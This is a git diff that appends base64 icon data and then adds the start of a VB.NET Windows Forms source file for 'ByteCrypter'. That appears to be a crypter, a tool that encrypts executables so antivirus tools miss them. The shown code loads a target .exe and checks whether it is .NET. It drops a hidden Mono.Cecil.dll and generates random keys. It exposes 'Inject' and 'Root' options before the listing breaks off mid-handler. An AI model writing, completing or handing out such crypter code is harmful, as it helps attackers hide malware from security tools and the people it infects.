F/8WAhP/FAAQ/xMADv8TAA7/FAAN/xYBDv8bCA3/HwwL/x4LCP8ZCQf/FAcG/xAFBf8LAQX/BwAE/wQA + A/8EAAL/BAAC/wAAAf9DMxn/9Khq+P9/m8z/UcNu/y7iIv8L/wT/GvQA/w//AAAAAAAAAAAAAAAAAAAA + AAD/D/8A/1i8AP8+1AX/TMgl/1+2cP99oMizY2z1JAc5/x4DN/8dAzP/HAcu/xsLKP8YCyP/Fwsh/xgO + IP8YEB//Fwse/xYGHf8XAxn/FQAU/xQAEP8TAA//FAAQ/xQBEP8WAxD/GAcO/xoLC/8YCwn/FAoI/xAH + B/8LAgb/BwAF/wUAA/8EAAL/BAAC/wAAAf9iTiD//Ldl+f+Mj9D/YrR0/0DSJP8a9QT/MOEA/xP7AAAA + AAAAAAAAAAAAAAAAAAAAAAAA/z/TAP862AP/QtAa/1HDWf9srrTWc3/uNhJC/yACPP8gBDn/HgYz/x0K + Lf8bDCf/GAsj/xcKIf8VCB//FAUg/xQDIP8VAx7/FgMa/xUCFv8VARX/FQEV/xUBFf8UAhP/FAMR/xMF + Dv8SBgv/EgcK/xAICf8MBAf/CQEG/wcABf8FAAP/BAAC/wQAAf+QdC/+/75m9/+Whc7/eKB0/2G1JP9D + 0AT/UsIA/z/TAAAAAAAAAAAAAAAAAAAAAAAAAAAA/x3yAP8T+gH/I+wP/zvXQ/9fuKD0h4nnXzRK/iEC + P/8iAz//IAQ5/x8IMv8dDC3/Ggwm/xYIIP8SAh3/EgEg/xQEIv8WByH/Fwgf/xYHHf8VBRz/FAMa/xMC + Gf8SAhf/EQIU/xACEf8OAg7/EAQO/xIIDf8PBgr/DAII/wkABv8GAAT/AwAC/xgRB//Jnkb+/7Fw8v+R + isD/gJlo/3aiH/9lsQP/ZbEA/3eiAAAAAAAAAAAAAAAAAAAAAAAAAAAA/w7/AP8A/wD/G/QL/0HSOf9p + rpb/nILjonVO/CcMPf8lBEL/IwNA/yEFOf8fCTL/HQ0r/xoNI/8VBiD/FAIi/xYGJP8XCiP/GAsi/xcK + If8VCB//FAYd/xIGG/8RBRn/EAUX/w4DFP8MARD/DQMQ/xEHEP8RBw//DgIO/wsBC/8IAAb/AgAC/00+ + GP/0tl77/5SI4v9vqJz/Y7NH/2SyE/9ftgH/W7oA/4iSAAAAAAAAAAAAAAAAAAAAAAAAAAAA/w//AP8A + /wD/JesI/1TAL/96n4j/pnna47JT+kw4OP8mDD7/JwVE/yQEQf8iBTr/Hwkz/x0MK/8bCif/GAYn/xgH + Jv8ZCiX/GQsk/xcKI/8VCSD/FAce/xMIHP8SCBv/EQcZ/w4FFv8LARL/CgEQ/wwDEv8OAxT/DgEU/w0B + EP8IAAr/DgcG/6mMNP//u2j2/4SVyf9Rw3H/Mt8m/yzkCP8f8QD/J+kAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/w//AP+9YAD/LOQD/2K0HP+Dl2T/o3q9/8Re8aSGQv4uIDb/LBBF/ykGSP8lBEL/IQQ7/x8F + Nf8eCS//HAos/xoHKf8ZCCf/GQkm/xgKJP8WCiD/Ewcc/xQIHP8UCR3/Ewgb/xAGGf8OAxb/DQMV/w4F + Fv8NAxb/DAEW/wsAEv8FAAv/UUEc//HETv3/tmrq/4yPqf9au0v/JukS/wb/Av8r9AD/B/8AAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9EzwD/C/8A/2yrC/+FlDv/nICR/7Vr3fC/VPpyXz7/NiFJ/zIQ + T/8rBkv/JwRF/yMEPv8hBjj/IAoz/x0JL/8aBiv/Gwkp/xwQJ/8bECL/GAwf/xgNIP8WCyD/FAgf/xMH + Hv8SBh3/Egcc/xIIG/8PAxr/DAEY/wgAEv8kGRX/xpxH/f+6aPT/oXvP/46Ngv90pC//R8wH/wD/AP8b + 8wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9ftgD/rHIA/4yPBP+SiSD/m4Fn/6pzvf/A + Ye7etk/9aFJQ/z0gVv8zDFT/LQVP/ykFSP8lBUL/Iwc8/yIJN/8fCTL/IA0v/yETLP8gEyn/HRAn/xsN + Jv8YCCX/FgUk/xUEI/8UBCP/FAUi/xMFIP8QAh7/DAAZ/xgMGP+hdkL9/7Fu9f+Uh9n/fpub/32cUP99 + mxj/dqIC/4WUAP9SwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/2MQD/smwA/8JeAf+j + eg//nIA8/5uBhv+qdM3/x1v11rNP/mlQV/88Glv/MwlX/y8FU/8rBU3/KAVH/yUGQf8jBzz/Igk4/yEK + Nf8fCTL/HQcw/xsFLv8ZBC3/GAMr/xcDKv8WAin/FQIn/xQCJP8PAR//HAki/5VTWPr7lITv/4uQ1f9y + pqD/WbxY/1i9If9orwf/qHYA/4GYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/zlMA//8aAP+vbwX/kokX/4iSSf+agZv/vGTj/9RP/Ny7TP92Vlj/OxNd/zMGW/8xBlf/LgVR/ysF + TP8oBEf/JQRC/yMEP/8iBDz/IAM5/x4DN/8dAzT/HAMy/xsDMP8ZAi7/FgIr/xIAJv8sEiz/okts+vpl + rub/YrXE/2Sykv9ZvFj/P9Mk/yrmCf8e8QH/JOwA/x/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD//wAA/4aYAP/NUwD/gJkF/4eTIf+ef2j/t2i//8hZ7f/SUvrsu1f9mWdf/kka + Xv8yBFz/MQVZ/zAFVf8tBVD/KwVM/ygFSP8nBEX/JQRB/yIEPv8hAzv/HwM4/xwCNf8YADH/Hwku/1s+ + Nv7IfmX6/W2q6f9A073/NdyB/0LRSP9Iyx//NdwJ/xH7Af9myAD/AP8AAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP+RigD/g5cB/5WHDf+iezX/rHF7/7Nsuf+0 + a9v/qXbo/KB78tGBc/qGRmn+Txtg/zYJWv8uA1f/LANT/yoDT/8oAkz/JgJI/yMCRP8gAUD/IQQ8/y8S + Ov9dOUD+sIRL/fLBVPv/tG7w/3ihyv881on/H/BI/x3xG/8o6Af/G/IB/5epAP8D/wAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP+6ZAD/ipAA/6V4Av+k + eQ//onsw/5yAX/+SiYj/fZun/3qfx/+DmeL8hZPv4Yh5+LR5Yf2LVl3+azta/1gtU/9ULE//Ui1L/105 + SP92Ukb/nHFM/s+TXPv1p230/7Zs7P/EXur/vWPZ/5eEnv9duFL/Kecg/w3/CP8G/wH/P/8A/wD/AAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/rXEA/wv/AP+ZgwH/i48I/36bGf9qrTH/W7pS/2G1f/9buqT/WL28/4Cb2v+ke+7+pHn1+KN0+fS1 + YPzzvFr9875X/fbFU/z8x1f6/7tn8f+fgOH/i4/K/5aFtf+zbK//vGOa/6tzX/+DliX/ScsK/wf/Af83 + 2wD/Dv8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9euAD/ZrAA/1TBAv9Iywn/UsIa/1i9Nv9FzU//QtFn/2uslP+D + lrn/e57J/4SW1/+gfeT/pnjm/61y5/+5Z+f/tmnb/6N6v/+Elpv/bap2/3+aXP+pdVP/vWJD/7plIv+l + dwn/ep4B//8AAP9FzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/AP8A/0XPAP8y3gD/UMQE/0vJDP8x + 4BX/O9cj/2K0Q/9or2L/Vr9y/1+3hv96n5v/f5qf/4yOo/+ie6X/onuN/5OIZv92okT/UsIp/2G1Gf+c + gBP/xFwN/9BSBf/gQQH/yV8A//8UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8g + 7wD/KuYA/yzkAf8X9wL/PtQG/164Ef9UwR3/PNYl/0fMMv9gtT7/Z69B/3ycR/+XhUr/m4E3/4+MH/9z + pRD/QNIH/zLfA/92ogH/40IA//8iAP/7KQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP92ogD/hpIA/1y6Af862AP/I+wF/zXdB/9Oxgr/WL0L/3igDf+Y + gw7/o3oJ/6B8A/+PjAH/aq4A/3GnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8A/wD/AP8A/wD/AP8A + /wD/BfsA/1PCAP91pQD/umMA/6tyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////wAA////////AAD///H///8AAP/+ + AAP//wAA//wAAP//AAD/8AAAf/8AAP/AAAAf/wAA/4AAAA//AAD/AAAAB/8AAP4AAAAD/wAA/AAAAAH/ + AAD4AAAAAf8AAPgAAAAA/wAA8AAAAAB/AADwAAAAAD8AAOAAAAAAPwAA4AAAAAAfAADgAAAAAB8AAMAA + AAAAHwAAwAAAAAAfAADAAAAAAB8AAMAAAAAAHwAAwAAAAAAfAADAAAAAAB8AAOAAAAAAHwAA4AAAAAAf + AADgAAAAAB8AAOAAAAAAHwAA8AAAAAAfAADwAAAAAD8AAPAAAAAAPwAA+AAAAAB/AAD4AAAAAH8AAPgA + AAAA/wAA/AAAAAD/AAD+AAAAAf8AAP4AAAAD/wAA/wAAAAf/AAD/gAAAD/8AAP/gAAAf/wAA//gAAD// + AAD//AAB//8AAP//gA///wAA////////AAD///////8AAP///////wAA////////AAD///////8AACgA + AAAgAAAAQAAAAAEAIAAAAAAAABAAABILAAASCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AP8A/wD/AP8A/wD/Af8A/wD/AP8A/wD/AP8A + /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/moIA/7BuAP9vqAT/NdwI/xj2Dv8S+xf/Ie4d/yfpGP8l + 6xX/KOgS/zDgCv9FzgT/JucA/zXdAP8A/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/V74A/wD/AP8n6QL/TMcO/2ewL/9au07/Sspi/zPgdP89 + 2IL/VsJ//1+5ev9ZvW//Vr5U/1TANP8z3hL/EfoD/wD/AP8A/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/TccA/3OkAP9etwH/c6UI/3GmJP9YvVH/abGQ/4SaxPuI + j9nuaZvh6V6c5+x8hOn0jnvp/Y2J3/+Hl8v/cKuj/0XOXv8p5yT/RM8K/4OWAf9rrAD//wAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AP813QD/CP8B/1m8Ev90pEP/iJSH/4ySwuJ6 + gOadYk35YT4s/kkfJf9OEyf/Yxgt/4YkOP+3OkH+2mZK/PSBdfD/bKzG/1y7hv9lsUL/SsoQ/wD/Af8f + 8wD/BP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9yqAD/K+UA/z3VAf8f7w3/S8hG/32epfaa + euChbUb4MyAY/gcDBf8CAAL/BwAB/w8AAv8ZAAX/KgAI/0UACf9qCAn/nyIb/9tRT/n8iIDi/3alof9D + z0b/HPIO/wD/Af8H/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/0fMAP8k7AD/W7oN/0zIPv9Q + x5Tveo/kdE00/QwHB/8AAAL/AgAC/wMAAf8FAAH/BwAB/wkAAf8KAAH/DgAA/x0AAf9CAAP/ggUQ/9U7 + Q/39gIPo/2mwn/8+1Dv/Mt8J/26rAP891QAAAAAAAAAAAAAAAAAAAAAAAAAAAP871wD/SskA/zvXBf9R + wzH/bquU9niZ3XM9QvsGAwP/AwAC/wMAAv8CAAH/AgAB/wQAAf8FAQL/BgEB/wYAAf8HAAD/CQAA/xEA + AP8yAAf/gQQp/9o9XP79hYfi/3akkf9ksi//ScoE/3OnAP8K+gAAAAAAAAAAAAAAAAAAAAAA/2usAP9j + swD/baoX/2+obv+RjdSgbEn7CwcJ/wMABf8FAQT/BQED/wQBAv8DAAH/BQAC/wYCAv8JAwD/CQMA/wcB + AP8GAAD/CAAB/w0AA/8pAA7/eAor/9RsT/z+moHX/2ewb/842Rv/C/8C/yvmAP8O/wAAAAAAAAAAAP8R + /QD/aK4A/07GA/94oDX/lIqr46Bh8zQnGP8DAAr/BgAL/wgDCf8IBQf/CAQF/wcCBP8HAgP/CQQC/w0F + Af8NBQD/CwMA/wgBAP8GAAH/BwAC/w0AA/8lAQr/cTAg/9+SYfX/gZu+/1HDVf8h7g3/AP8A/xD+AAAA + AAAAAAAA/3SkAP9A0wD/YbUO/3SkW/+Zh86ecET7DAUQ/wsEEf8JAg//CAMM/wsGCv8OCQj/DwkH/w0I + Bv8NBwT/EAYC/xMGAv8NBAL/CgEB/wcAAf8HAAL/CQAB/w4AAv8gBgr/jWQ0//6he+3/WbyM/x3xIP8A + /wH/EP4AAAAAAAAAAAD/gZkA/3aiAf+Ikiz/loab+6xu7F5BMP4JABf/DQQW/woCEP8IAQ3/DQUM/xUN + C/8WDQr/FQ0J/xMJBv8RAwX/FQYG/xQGBv8SBAT/CwEC/wgAAf8IAAH/CQEC/wkAA/89Jxf/6pJx9f9Z + vqD/IO8r/wD/Av8R/QAAAAAAAAAAAP9ypQD/XLkD/4eTQf+mecHss1n6PCgo/w4AHv8PAhv/DQQV/wwG + Ev8RCxH/Fg0Q/xgLDv8eDwz/IA4I/xkEBv8bBgj/HwgI/x4HBf8UBAP/DAEC/wgAAf8GAAL/BgAC/xkN + CP/KeWb1/168ov8m6iz/AP8C/xL7AP8P/wAAAAAA/0vJAP822wL/W7sy/3KopeKAffIxFy//EgEk/xID + IP8SCBv/Ew0X/xMPFv8UDBX/FwgT/xwLD/8eCgz/HQMJ/yEFCP8qCgf/JQkG/xkGBP8OAgP/BwAB/wUA + Av8EAAL/DgYE/7hoYvX/WcOk/yHuL/8B/wP/Ef0A/w//AAAAAAD/GfYA/wH/AP8f8Br/N9534Fig4DQS + Of8WASv/FgUm/xYLH/8WERv/FhAa/xQLGf8VBhT/FwQQ/xYCDv8ZAQz/HwQK/yYLCP8gCQf/FgYG/w4C + BP8HAAP/BQAC/wQAAv8LBgT/t25c9/9mt6r/KuYx/wD/A/8T+wD/D/8AAAAAAP8U+QD/YbcA/yvlD/9Q + yGLmbJTXQRpB/hoBMv8aBiz/GAsk/xcNH/8YER7/Fw4d/xYGGP8VARL/EwAP/xMADv8XAw7/HQoM/xwL + Cf8WCAf/DgQG/wgABP8FAAP/AwAC/xALBv/DiFP6/3+ftP9B0jb/AP8D/x7wAAAAAAAAAAAA/zXdAP9L + yQD/PtQJ/1bATvd1m8dfLVD8HQE5/x4FM/8cCir/GQsk/xcLIP8VBx//FQQf/xYDGv8VART/FAEU/xUB + E/8VAxH/FQcM/xMICv8PBgj/CQEG/wYABP8CAAL/JR0M/+CmVvr/kY23/2OzOf8q5gP/R80AAAAAAAAA + AAD/Dv8A/yXrAP8L/wP/O9c0/3WmsZZaXPkjBT//IgQ8/x8IM/8cDCn/Fggg/xMCIP8VBSL/Fwgg/xYH + Hv8UBBv/EgMZ/xEDFv8PAhH/DwMO/xEIDf8NAwr/CQAH/wEAAv9ZRh7/+qxs8v+Hk6D/dKQt/124Av9p + rgAAAAAAAAAAAAAAAAD/Iu0A/wD/Af9MyCf/iJWg2Z5c9EAoPP8kBUL/IwU9/x8JMv8bCyj/FwYl/xgH + Jf8YCyT/Fwoh/xQHHv8TBxz/EQcZ/w0DFP8LARH/DgUS/w8CEv8LAA3/DggH/66JO/7/m4XZ/1m8aP9B + 0hP/T8QA/0fMAAAAAAAAAAAAAAAAAP8v4gD/AP8A/2C2E/+PjHD+uGfelXhC/i8YQf8qB0j/JAQ//yAG + Nv8eCS//Ggcq/xkJJ/8ZDCP/FQke/xUKHf8TCR3/EQYZ/w4EF/8PBRf/DQEX/wcAEP9XRCD/87la9/+Z + hLH/XLk3/wD/BP9B2AD/Af8AAAAAAAAAAAAAAAAA/zTZAP+SiQD/eKAE/5KJOf+rdK/uuFj0eWBM/zcX + VP8sBk7/JwVE/yMHO/8gCDT/Hgsu/x8SKv8cECb/GQwk/xYHI/8UBSL/FAYh/xIFH/8LABn/MyEg/9GW + WPn/nIPS/4WVcP96nhf/AP8A/2G1AAAAAAAAAAAAAAAAAAAAAAAAAAAA/7JtAP/aSQD/nn4V/5iDZf+y + bs3mvFP8el1V/zcQWf8uBVP/KgVL/yYGQ/8jBzz/IQg3/x4HM/8bBTD/GQMt/xgDK/8VAij/EAAi/zYW + Mf7BY3Xy/4eWzP9qrXz/U8In/2ivBP9OxgD/pnMAAAAAAAAAAAAAAAAAAAAAAAAAAAD/2UoA/zDgAP+b + gQL/hZQi/6d3i//IWujtwVP8k2Rd/kQVXf8vBFj/LANR/ykES/8mBEX/JANA/yADPP8dAjf/GQAy/yAK + Lv9fPTr+0WOG8f9Myrv/Sspp/0vIJv8k6wX//0oA/wP/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/dqIA/6Z3AP+UiAf/pnc7/69vk/+rdMr7mILkzHN79oZEav1UJVr/PBJV/zEKT/8tCUn/MA9E/z8f + QP9qQUb+tIJR+/O7W/b/kozL/z7Ua/8Z9SD/Iu0E//8OAP8P+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD/rHIA/9JQAP+efgf/j4wk/3WjT/9prof/abG5/H+Z2+uXdPPShm36xItc/cKR + Vf7MnlH946dc9vmeeuL/oIDI/7pmuv+ucH//cKgo/xP5Bf/9UAD/Av8AAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/AP8A/0/JAP8u4gH/Rs0K/1PBJv9A0kX/YrV0/3yepv9+ + nr7/nITS/6h51v+3bNP/qHiw/36ce/92olH/rHI//75iIv+pdAb/AP8A/4SWAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/0XPAP9SwwD/OtgC/yjoB/9Z + vBn/VMEw/07FRP9qrFf/fpte/5qBXf+Uhzj/aqwZ/0PQCf+WhQT/4z8B/52aAP//CgAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP+f + fQD/GfYA/1LDAP8h7gL/K+YF/0rKCP9uqgr/l4QK/6B9A/+SigD/p3YA/2e0AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////9 + ////wA///wAD//wAAP/4AAB/8AAAP/AAAD/gAAAf4AAAD8AAAA/AAAAHgAAAB4AAAAeAAAAHwAAAB8AA + AAfAAAAHwAAAB8AAAA/gAAAP4AAAH/AAAB/wAAA/+AAAf/wAAP/+AAH//4AD///wP/////////////// + //8oAAAAEAAAACAAAAABACAAAAAAAAAEAAASCwAAEgsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wL/AP9t + uwD/QtcG/2i/KP9Q1Eb/VMxT/2u5Sv9iwyz/NOMI/1/LAP8A/wAAAAAAAAAAAAAAAAAAAAAA/zDgAP8A + /wD/eakd+YKWccdodMWXSFrnmDtZ7sBUWurpanXN/mSsdv9ewBz//wAA/xT1AAAAAAAAAAAA/zLeAP9f + vgD/R9Uc7WublYFPQPEeEg//CAIC/xEAA/8pAgf/YhMR/8RCS/L9bZmX/0nUG/9bwAD/RM8AAAAAAP9q + rAD/YLsK/H+ZgIBFSvEIBAb/AgAB/wMAAf8GAgH/BgEA/woAAP9CBBL/v0tU8/2BlIH/P9kM/1+3AP8V + +AD/kYoA/4ahMcuAZNIjFxb/BQEK/woGB/8LBgX/DQUD/w0EAf8HAQH/CAAC/zwXEv/LeGTg/2DASP// + AAD/FfkA/ybpAv+ghm+ZaEn1DgMZ/wsEEf8SCg7/GA0L/xgIB/8ZBgb/FAQD/wkAAf8GAAH/gUpB9/9h + vGr/AP8B/xj2AP8A/wH/abZfhD5d8BMCJP8UDBv/FQ0X/xgIEf8bBAz/IgcJ/x0IBv8LAQP/AQAA/2Q3 + Nvj/YLdv/wD/Av8a9QD/ep8A/1rKOZA+bN0dBTL/GQwl/xYLHv8VBBj/FAES/xgED/8WCAr/DAMG/wEA + Af92UTP6/4eZd/8A/wL/QdIA/2WyAP9dyiDFcXLGNxk//x4HM/8YByX/Fwci/xUHHf8SBRj/DgQR/w0D + Dv8SCwn/sXlN7P+EoFb/AP8A/2OzAP99nAD/ZLkJ+ahwi41oTvotDUn/IQY5/x0JLf8aDSX/Fgkh/xEE + Hf8MARj/Y0Ix/fGZdbH/abUb/4qRAP8G/gD/q3IA/5eKAP+fgi/vs2HGkGVa/zwQVf8mBEb/HwQ7/xoC + M/8iDC3/ZjNI+ttgk7T/cLA5/03AAf9nrwAAAAAAAAAAAP+WhgD/iJAD/69zQveQhZ7EX4XbklBn+H5N + Vf6IWk/6tnZe4/GfcrP/U8o1/wD/Af8S+gAAAAAAAAAAAAAAAAAAAAAA/xj0AP8A/wD/RNMR/2W7Pv9/ + nnf/moOU/6x1g/+QlkT/sXIf/8dWA/+8YwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AP8A + /wD/DfkD/0vJCP99nAX/KuAA/0zFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AADwHwAA4A8AAMAH + AACAAwAAgAMAAAABAAAAAQAAgAEAAIADAACAAwAAwAMAAMAHAADwDwAA/H8AAP//AAA= + + + \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/Form1.vb b/scode (ByteCrypt/ByteCrypter/Form1.vb new file mode 100644 index 0000000..7f3fd63 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Form1.vb @@ -0,0 +1,723 @@ +#Region "Import" +Imports System.Text +Imports Mono.Cecil +Imports System.IO +Imports System.IO.Compression +Imports Mono.Cecil.Cil +Imports System.Runtime.InteropServices +Imports System.Security +Imports System.Management +Imports System.Security.Cryptography + +#End Region + +Public Class Form1 + 'Public Sub New() + + ' Seal.Initialize("") ' ici vous mettrez l'ID de votre programme + ' InitializeComponent() + + + 'End Sub +#Region "Form Load" + Private Sub Form_Load() Handles MyBase.Load + + Dim Mono As String = Application.StartupPath & "\Mono.Cecil.dll" + Try + If IO.File.Exists(Mono) = False Then + IO.File.WriteAllBytes(Mono, My.Resources.Mono_Cecil) + IO.File.SetAttributes(Mono, IO.FileAttributes.Hidden) + Else + IO.File.SetAttributes(Mono, IO.FileAttributes.Hidden) + End If + Catch ex As Exception + MsgBox(ex.Message) + End Try + TextBox2.Text = Rand(25) + End Sub + +#End Region + + + +#Region "Button Open" + Dim FileByte() As Byte + Private Sub DesignButton1_Click(sender As Object, e As EventArgs) Handles DesignButton1.Click + Dim o As New OpenFileDialog + o.Filter = "Portable Executable |*.exe" + If o.ShowDialog = vbOK Then + TextBox1.Text = o.FileName + FileByte = IO.File.ReadAllBytes(o.FileName) + grpSetting.Enabled = True + btnEncrypt.Enabled = True + If isDotNet(FileByte) = True Then + grpInject.Enabled = False + chkRoot.Checked = False + End If + Else + Exit Sub + End If + End Sub + Function isDotNet(ByVal Data() As Byte) As Boolean + Try + System.Reflection.Assembly.Load(Data) + Return True + Catch ex As Exception + Return False + End Try + End Function + +#End Region + +#Region "Random Key" + Private Sub DesignButton2_Click(sender As Object, e As EventArgs) Handles DesignButton2.Click + TextBox2.Text = Rand(15) + End Sub + Public Shared Function Rand(ByVal lenght As Integer) As String + Dim A As New StringBuilder("") + Dim B() As Char = "אבגדהוזחטיךכלםמןנסעףפץצקרשתװױײ׳״" + For C As Integer = 1 To lenght + Dim D As Integer = Int(((B.Length - 2) - 0 + 1) * Rnd()) + 1 + A.Append(B(D)) + Next + Return A.ToString + End Function +#End Region + +#Region "Button Icon & Checkbox" + Dim IconPath As String + Private Sub DesignButton4_Click(sender As Object, e As EventArgs) Handles DesignButton4.Click + Dim o As New OpenFileDialog + o.Filter = "Icon File |*.ico" + If o.ShowDialog = vbOK 